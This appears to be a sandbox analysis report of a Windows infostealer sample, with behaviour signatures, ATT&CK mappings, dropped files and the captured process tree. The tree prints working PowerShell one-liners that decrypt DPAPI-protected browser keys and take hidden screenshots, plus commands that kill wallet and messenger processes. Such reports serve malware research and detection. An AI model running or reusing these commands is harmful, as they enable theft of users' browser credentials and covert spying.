Overview

overview

10

Static

static

10

2026-08-04...wo.exe

windows10-2004-x64

8

2026-08-04...wo.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    152s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 06:59

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General

  • Target
    2026-08-04_66946706b4bba796f1351ff8de9d4325_amadey_byakugan_cobalt-strike_coinminer_darkgate_glasswo.exe
  • Size 118.3MB
  • Sample260804-hsf5jstdld
  • SHA256 21e35fdd94d7d9964938efd8176f99b0ce226de9a2c37dd2ee0fddaa5aaa725f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_66946706b4bba796f1351ff8de9d4325_amadey_byakugan_cobalt-strike_coinminer_darkgate_glasswo.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_66946706b4bba796f1351ff8de9d4325_amadey_byakugan_cobalt-strike_coinminer_darkgate_glasswo.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785826843300.vbs""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3808
      • C:\Windows\system32\cscript.exe
        cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785826843300.vbs"
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1088
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1432
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\system32\taskkill.exe
        taskkill /IM Steam.exe /F
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1320
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5616
      • C:\Windows\system32\taskkill.exe
        taskkill /IM javaw.exe /F
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3392
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4436
      • C:\Windows\system32\taskkill.exe
        taskkill /IM Exodus.exe /F
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4844
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4992
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4236
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2348
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\taskkill.exe
        taskkill /IM Telegram.exe /F
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1256

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        3
        T1059

        PowerShell

        1
        T1059.001

        Visual Basic

        1
        T1059.005

        Windows Command Shell

        1
        T1059.003

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Defense Evasion

        Obfuscated Files or Information

        1
        T1027

        Command Obfuscation

        1
        T1027.010

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Process Discovery

        1
        T1057

        Query Registry

        1
        T1012

        System Information Discovery

        1
        T1082

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1cd9cf8954ba3e137e6c99d27c5593c156731821cab5b121880931faba00d86d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_4xq1qe5x.the.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xq1qe5x.the.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        koffi.node
        • Path C:\Users\Admin\AppData\Local\Temp\pkg\a6caa84c1f8c459215a783318b818d3fa1b260d2d821c22c22864cd2af216490\koffi\build\koffi\win32_x64\koffi.node
        • Size 2.3MB
        • SHA256 a6caa84c1f8c459215a783318b818d3fa1b260d2d821c22c22864cd2af216490
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        system_check_1785826843300.vbs
        • Path C:\Users\Admin\AppData\Local\Temp\system_check_1785826843300.vbs
        • Size 233B
        • SHA256 9e24f5f81cac17d844c25f6d7dcf13b924f97150acb05b733509a57497fceb29
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1088-36-0x0000013A2C120000-0x0000013A2C142000-memory.dmp
        Download

        memory/1088-37-0x0000013A2C240000-0x0000013A2C290000-memory.dmp
        Download